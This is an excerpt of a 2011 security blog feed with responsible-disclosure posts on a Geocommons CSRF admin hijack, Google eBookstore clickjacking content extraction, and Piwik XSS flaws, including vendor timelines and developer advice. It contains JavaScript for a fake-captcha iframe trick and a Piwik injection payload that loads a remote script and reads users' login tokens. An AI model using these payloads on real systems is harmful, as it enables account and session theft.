









And all the admin goodies...&lt;/h2&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-zsS843fhQP8/TozT13oOs3I/AAAAAAAAE3Y/e0D4KUl1-uY/s1600/geocommons07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="214" src="http://2.bp.blogspot.com/-zsS843fhQP8/TozT13oOs3I/AAAAAAAAE3Y/e0D4KUl1-uY/s320/geocommons07.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-7R3mgawKdDU/TozT2RqmjRI/AAAAAAAAE3c/R_jl_Pqcj9w/s1600/geocommons08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" src="http://2.bp.blogspot.com/-7R3mgawKdDU/TozT2RqmjRI/AAAAAAAAE3c/R_jl_Pqcj9w/s320/geocommons08.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-AP7l7qlkdYg/TozT3G8YqdI/AAAAAAAAE3g/uguULeqjMxk/s1600/geocommons09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://3.bp.blogspot.com/-AP7l7qlkdYg/TozT3G8YqdI/AAAAAAAAE3g/uguULeqjMxk/s320/geocommons09.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-WpLXH48uP7A/TozT3vDB_wI/AAAAAAAAE3k/GW2HTJQlnKI/s1600/geocommons10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/-WpLXH48uP7A/TozT3vDB_wI/AAAAAAAAE3k/GW2HTJQlnKI/s320/geocommons10.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-c8sa5r9pDGc/TozT4S9dsJI/AAAAAAAAE3o/Os5ZfvZRlOs/s1600/geocommons11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://2.bp.blogspot.com/-c8sa5r9pDGc/TozT4S9dsJI/AAAAAAAAE3o/Os5ZfvZRlOs/s320/geocommons11.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-hhpCWIqCOgc/TozT5EwacYI/AAAAAAAAE3s/7EtPZlTYQko/s1600/geocommons12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="225" src="http://2.bp.blogspot.com/-hhpCWIqCOgc/TozT5EwacYI/AAAAAAAAE3s/7EtPZlTYQko/s320/geocommons12.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-OmR_7QuYsiA/TozT6PWyiMI/AAAAAAAAE3w/I_Hj8hQMYMA/s1600/geocommons13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="195" src="http://4.bp.blogspot.com/-OmR_7QuYsiA/TozT6PWyiMI/AAAAAAAAE3w/I_Hj8hQMYMA/s320/geocommons13.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-J4GbKoxNUE8/TozT6r09lEI/AAAAAAAAE30/BvcK77k4rSQ/s1600/geocommons14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://2.bp.blogspot.com/-J4GbKoxNUE8/TozT6r09lEI/AAAAAAAAE30/BvcK77k4rSQ/s320/geocommons14.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
What's interesting, it's only admin (&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;id=1&lt;/span&gt;) account that is so special, I cannot change the email of any other user (apart from myself). It might have something to do with the fact that admin can change properties of any other user, but who knows...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Timeline:&lt;/b&gt;&lt;br /&gt;
6.10.2011 - vulnerability discovered, PoC made&lt;br /&gt;
7.10.2011 - vendor notified &amp;amp; replied&lt;br /&gt;
11.10.2011 - vendor comment: issue fixed in codebase, we will be deploying soon&lt;br /&gt;
25.10.2011 - vendor comment: we are deploying today&lt;br /&gt;
22.11.2011 - public disclosure&lt;br /&gt;
&lt;h2&gt;


Notes for developers&lt;/h2&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Protect against CSRF by using unique nonces. CSRF is serious!&lt;/li&gt;
&lt;li&gt;If you're trying to protect only some of the forms (e.g. login form, password change form), always remember that e-mail address change form (or. e.g. security question change) form is equally important! With CSRF flaw there, attacker does not need to know the password, he can switch the e-mails and use the forget password feature to regenerate one.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4839107423860513648?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/uNYtaDmDZas" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4839107423860513648/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4839107423860513648" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4839107423860513648?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4839107423860513648?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/uNYtaDmDZas/geocommonscom-admin-account-hijack.html" title="Geocommons.com admin account hijack" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-njObfDtg938/TozTzsz5wWI/AAAAAAAAE3I/zSiVncE3Dmo/s72-c/geocommons03.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/10/geocommonscom-admin-account-hijack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QBRXc4eCp7ImA9WhRSGUs.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-8145666917422249483</id><published>2011-11-22T14:28:00.001+01:00</published><updated>2011-11-22T14:42:34.930+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-22T14:42:34.930+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><title>HTML5: Something wicked this way comes - HackPra materials</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Last week I had a pleasure of giving a lecture talk for &lt;a href="http://www.nds.rub.de/teaching/lectures/471/"&gt;HackerPraktikum&lt;/a&gt; (HackPra) course at&amp;nbsp;&lt;a href="http://www.ruhr-uni-bochum.de/index_en.htm"&gt;Ruhr-Universität Bochum&lt;/a&gt;. The talk entitled&amp;nbsp;&lt;b&gt;HTML5: Something wicked this way comes&lt;/b&gt; described various HTML5 / UI redressing techniques for attacking websites &amp;amp; Chrome extensions. There is also some unpleasant&amp;nbsp;surprise for&amp;nbsp;&lt;a href="https://chrome.google.com/webstore/detail/oadboiipflhobonjjffjbfekfjcgkhco?hl=pl"&gt;Google Chrome to Phone&lt;/a&gt;&amp;nbsp;users.&lt;br /&gt;
&lt;br /&gt;
I've just published the slides from the talk:&lt;br /&gt;
&lt;div id="__ss_10271100" style="width: 425px;"&gt;
&lt;strong style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/html5-something-wicked-this-way-comes-hackpra" target="_blank" title="Html5: something wicked this way comes - HackPra"&gt;Html5: something wicked this way comes - HackPra&lt;/a&gt;&lt;/strong&gt; &lt;iframe frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/10271100" width="425"&gt;&lt;/iframe&gt; &lt;br /&gt;
&lt;div style="padding: 5px 0 12px;"&gt;
View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz" target="_blank"&gt;Krzysztof Kotowicz&lt;/a&gt; &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
Courtesy of RUB, there is also a &lt;a href="https://connect.ruhr-uni-bochum.de/p3g2butmrt4/"&gt;video recording&lt;/a&gt; of the talk.&amp;nbsp;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-8145666917422249483?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/wpJN0z2E_nU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/8145666917422249483/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=8145666917422249483" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/8145666917422249483?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/8145666917422249483?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/wpJN0z2E_nU/html5-something-wicked-this-way-comes.html" title="HTML5: Something wicked this way comes - HackPra materials" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/11/html5-something-wicked-this-way-comes.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQHQHkzcSp7ImA9WhRTGEo.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-7120858999389765854</id><published>2011-11-09T21:53:00.000+01:00</published><updated>2011-11-09T22:32:11.789+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-09T22:32:11.789+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="captcha" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google eBookstore content extraction</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div style="margin-bottom: 0.1em; margin-left: 0.1em; margin-right: 0.1em; margin-top: 0.1em; text-align: -webkit-auto;"&gt;
Two months ago I discovered UI redressing vulnerability in &lt;a href="http://books.google.com/ebooks"&gt;Google eBookstore&lt;/a&gt;. This has been reported to Google and has been quickly fixed. Following is a description of the vulnerability:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;tl;dr&lt;/b&gt;:&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;fake captcha&lt;/a&gt; on Google eBookstore + how to deal with dynamic line numbers.&lt;/div&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
Some of the pages at&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; http://books.google.com&lt;/span&gt; containing user private data did not use frame-busting &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;X-Frame-Options&lt;/span&gt; header. It was possible to create UI redressing attack to trick user into extracting that data into malicious webpage.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Extracted data included:&lt;/div&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Google user name (name / surname) of logged in user&lt;/li&gt;
&lt;li&gt;Google email of logged in user&lt;/li&gt;
&lt;li&gt;Google Books User ID (uid)&lt;/li&gt;
&lt;li&gt;Anti CSRF tokens (sig) used on other pages to add / delete books&lt;/li&gt;
&lt;li&gt;possibly other data that might aid in further attacks on Google books or other Google services&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
Affected browsers:&amp;nbsp;&lt;strong&gt;Firefox&lt;/strong&gt;&amp;nbsp;(framed view-source: needs to be displayed)&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h2&gt;




Demo&lt;/h2&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/I5VtQYqjv5g" width="560"&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
In the demo user (with empty bookshelf) was presented with a fake security code entry form. This might be disguised as an application registration form, fake captcha etc. An iframe with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:http://books.google.com/ebooks&lt;/span&gt; is displayed instead of the security code input field. The security code is actually a part of the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://books.google.com/ebooks page&lt;/span&gt; source (last line).&lt;/div&gt;
&lt;h3&gt;



Dynamic line numbers&lt;/h3&gt;
&lt;div&gt;
The last line number could be constant here (32), but I encountered accounts that have rendered HTML with &lt;b&gt;different amount of lines&lt;/b&gt;.&lt;br /&gt;
Therefore the lines are slowly scrolling from 35 down and user is asked to pause the scrolling process as soon as he sees content (last line will be displayed then).&lt;br /&gt;
&lt;br /&gt;
Here's the code for that:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class="javascript" name="code"&gt;    var height = Jacksploit.line_height();
    
    // i need to blindly determine the last line of the html source. Safe bet would be 32,
    // but to make it handle a different value I scroll upwards and depend on user 
    // to pause the scrolling
    
    function move() {
        var f = $("#one").contents()[0].getElementById('inner');
     f.style.top = parseInt(f.style.top,10)+height;
    }
    
    $('#one').load(function() { $("#register").show(); }).attr('src', url);

 var interval = setInterval(move, 2000);

 $("#pause").click(function() {
  clearInterval(interval);
 }); 
&lt;/pre&gt;
&lt;div&gt;
By tricking the user into copying (triple click, ctrl-c) and pasting the "security code" into a real form field below attacker gets access to private data (whole last line of HTML source is copied). To demonstrate this, some user data is extracted and echoed back to user, tokens are also reused to add "Alice in Wonderland" into user's bookshelf.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Note: &lt;/b&gt;This exploit uses&amp;nbsp;&lt;strong&gt;&lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;Fake captcha&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;content extraction technique that requires clipboard usage. There are other techniques for the same purpose like double drag &amp;amp; drop that have different requirements for triggering the exploit, but it's still the same vulnerability underneath: no &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;X-Frame-Options&lt;/span&gt; header on pages containing user data. Developers - please use the header instead of trying to &lt;a href="http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed"&gt;framebust in Javascript&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Reporting this vulnerability earned me an honorable mention in &lt;a href="http://www.google.com/about/corporate/company/halloffame.html"&gt;Google Security Hall of Fame&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-7120858999389765854?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/rOvdfZ0_DAI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/7120858999389765854/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=7120858999389765854" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/7120858999389765854?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/7120858999389765854?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/rOvdfZ0_DAI/google-ebookstore-content-extraction.html" title="Google eBookstore content extraction" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/I5VtQYqjv5g/default.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/11/google-ebookstore-content-extraction.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUNRnczcCp7ImA9WhRTEEs.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-3158470236141724924</id><published>2011-10-31T12:58:00.000+01:00</published><updated>2011-10-31T13:14:57.988+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-31T13:14:57.988+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Piwik ≤ 1.5.1 multiple XSS vulnerabilities</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" trbidi="on"&gt;
Some time ago I discovered a few interesting XSS vulnerabilities in &lt;a href="http://piwik.org/"&gt;Piwik Open Source Web Analytics&lt;/a&gt;&amp;nbsp;software. Thanks to developers, all of those are now fixed in &lt;a href="http://piwik.org/changelog/"&gt;Piwik 1.6&lt;/a&gt;. But nonetheless, these are &lt;b&gt;not the usual XSS cases&lt;/b&gt;, so I found them interesting enough to publish this.&lt;br /&gt;
&lt;br /&gt;
Piwik is a downloadable, open source (GPL licensed) real time web analytics software program. It provides you with detailed reports on your website visitors: the search engines and keywords they used, the language they speak, your popular pages… and so &lt;a href="http://piwik.org/features/"&gt;much more.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Piwik aims to be an open source alternative to &lt;a href="http://google.com/analytics"&gt;Google Analytics&lt;/a&gt;, and is already used on more than 150,000 websites.&lt;/div&gt;
&lt;div dir="ltr" trbidi="on"&gt;
&lt;div&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;









Reflected XSS in meta redirect&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
It's a XSS vulnerability for IE6 users in default Piwik installation in the current version (1.5.1), older versions are possibly also affected (not tested).&lt;br /&gt;
&lt;br /&gt;
Piwik user interface (where you can browse statistics for your website etc.) in a few places redirects you to main Piwik site (*.piwik.org). It does so by using meta refresh, but to avoid &lt;a href="https://www.owasp.org/index.php/Open_redirect"&gt;open redirect vulnerability&lt;/a&gt; it tries to do that only for legitimate Piwik URLs (&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;*.piwik.org&lt;/span&gt;). However, &amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;url&lt;/span&gt;&amp;nbsp;request parameter used in &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;plugins/Proxy/Controller.php&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;redirect()&lt;/span&gt; function is sanitized only using "standard" Anti-XSS methods, removing &amp;lt;&amp;gt;," and other entities.&lt;br /&gt;
&lt;br /&gt;
This is the body of the method:
&lt;br /&gt;
&lt;pre class="php" name="code"&gt;public function redirect()
{
       $url = Piwik_Common::getRequestVar('url', '', 'string', $_GET);

       // validate referrer
       $referrer = Piwik_Url::getReferer();
       if(!empty($referrer) &amp;amp;&amp;amp; !Piwik_Url::isLocalUrl($referrer))
       {
               die('Invalid Referer detected - check that your browser sends the Referer header. &amp;lt;br/&amp;gt;The link you would have been redirected to is: '.$url);
               exit;
       }

       // mask visits to *.piwik.org
       if(self::isPiwikUrl($url))
       {
               echo
'&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="refresh" content="0;url=' . $url . '" /&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;/html&amp;gt;';
       }
       exit;
}
&lt;/pre&gt;
The URL is directly outputted in meta header only if it's a "Piwik URL":&lt;br /&gt;
&lt;pre class="php" name="code"&gt;static public function isPiwikUrl($url)
{
       if(preg_match('~^http://(qa\.|demo\.|dev\.|forum\.)?piwik.org([#?/]|$)~', $url))
       {
               return true;
       }
       return false;
}
&lt;/pre&gt;
However, even with those restrictions attacker can trigger XSS in Internet Explorer 6, because that browser has two interesting features:&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;it allows to specify multiple URLs in meta refresh (and uses only the last one)&lt;/li&gt;
&lt;li&gt;it allows &lt;a href="http://marc.info/?l=bugtraq&amp;amp;m=112431630719702&amp;amp;w=2"&gt;javascript: URLs in meta refresh&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
We can use 1) to bypass &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;isPiwikUrl()&lt;/span&gt; restriction and 2) to trigger XSS. The exemplary payload is demonstrated in the image below:&lt;/div&gt;
&lt;div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-JONcNUmMvPI/TpX1hW0hE5I/AAAAAAAAE4I/N_VnBCmBaTc/s1600/piwikxss3.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="110" src="http://1.bp.blogspot.com/-JONcNUmMvPI/TpX1hW0hE5I/AAAAAAAAE4I/N_VnBCmBaTc/s200/piwikxss3.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Sweet, sweet alert()&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
What could you do with such an XSS? I prepared more advanced exploit trying to get the login and auth token of the Piwik user by tricking him into visiting malicious URL. The sample exploit looked like this:&lt;/div&gt;
&lt;pre class="javascript" name="code"&gt;// inject with 
// &amp;amp;url=http://piwik.org/;url=javascript:(function(d){(s=d.createElement('script')).src='//url-of-the-code-below/'%2BMath.random(),d.body.appendChild(s)})(document);

var url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js';

(function(d){(s=d.createElement('script')).src=url;d.body.appendChild(s)})(document);
(function(d){(s=d.createElement('p')).innerText="Please wait...";d.body.appendChild(s)})(document);

setTimeout(function() {
 $("&amp;lt;div&amp;gt;").load('index.php', function(data) {
   alert("url:" + piwik.piwik_url + "\nlogin: " + piwik.userLogin + "\ntoken: " + piwik.token_auth);
  });

}, 2000);
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In my exemplary installation, as soon as the user was logged in (or used remember me cookie, so that Piwik would autologin him anyway), I was able to successfully steal these information and that allowed me to hijack the session:&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XwgmdAEJ1Hw/TpX2x4TUM9I/AAAAAAAAE4Q/SE92iCo9Dw4/s1600/piwikxss2.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="110" src="http://4.bp.blogspot.com/-XwgmdAEJ1Hw/TpX2x4TUM9I/AAAAAAAAE4Q/SE92iCo9Dw4/s200/piwikxss2.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Steal login auth cookie&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
Lessons to learn - you should &lt;b&gt;disallow semicolon &lt;/b&gt;in URL displayed in the meta refresh header.&amp;nbsp;&lt;b&gt;XSS is really a context-sensitive b*tch.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Timeline:&lt;/b&gt;&lt;br /&gt;
29.07.2011 - Notified vendor&lt;br /&gt;
30.07.2011 - Vendor replied&lt;br /&gt;
31.07.2011 - Vendor confirmed the issue&lt;br /&gt;
29.09.2011 - Issue fixed in SVN&lt;br /&gt;
18.10.2011 - Piwik 1.6 with the fix released&lt;br /&gt;
&lt;h2&gt;














Stored Cross Site Scripting via data: URI&lt;/h2&gt;
To gather statistics for a site, Piwik uses a tracker script that's being requested from the monitored website with current URL as a script parameter. Piwik allows &amp;amp; logs any kind of URI in its tracker '&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;url&lt;/span&gt;' parameter, including potentially malicious &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; and&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; javascript:&lt;/span&gt; URIs It is possible to inject these kind of URIs by manually calling piwik tracker (&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;piwik.php&lt;/span&gt;) - that allows attacker to easily &lt;b&gt;plant &lt;/b&gt;the XSS payload.&lt;br /&gt;
Logged in piwik user can see &amp;amp; browse the tracked URLs in Visitors / Visitors Log menu (Live plugin, getVisitorLog action).&lt;br /&gt;
These URLs are properly escaped and are displayed using&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; &amp;lt;a href='' target=_blank&amp;gt;&lt;/span&gt; tag, so they will open in a new window. Clicking on malicious URL will &lt;b&gt;execute&lt;/b&gt; the stored XSS payload&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;XSS&lt;/strong&gt;: In&amp;nbsp;&lt;strong&gt;Opera (11.5) and Firefox (5)&lt;/strong&gt;&amp;nbsp;the new window with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;javascript:&lt;/span&gt; / &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; URI location &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=255107"&gt;shares the same origin as opener&lt;/a&gt;, allowing for XSS - in this example, the token_auth of a logged in user is displayed (but this can of course be leveraged to transfer the token to attacker). In this scenario, Piwik user must be tricked into clicking the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;data: &lt;/span&gt;OR &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;javascript:&lt;/span&gt; URL in the Visitor Log to exploit this vulnerability. A convincing URL title (also controlled by the attacker) could be used for this purpose.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clickjacking&lt;/strong&gt;: The Visitors / Visitors Log menu page is displayed without any form of frame busting, so it's possible to launch the previous attack as clickjacking. The only thing required from a logged in Piwik user is a single click on an (possibly invisible) frame. First, a Piwik tracker is used to log a malicious URL visit. Second, a frame positioned to this URL in visitor log is displayed with 0 opacity and user is enticed to click on the frame using social engineering. Once again,&amp;nbsp;&lt;strong&gt;Opera (11.5) or Firefox (5)&lt;/strong&gt;&amp;nbsp;is required.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
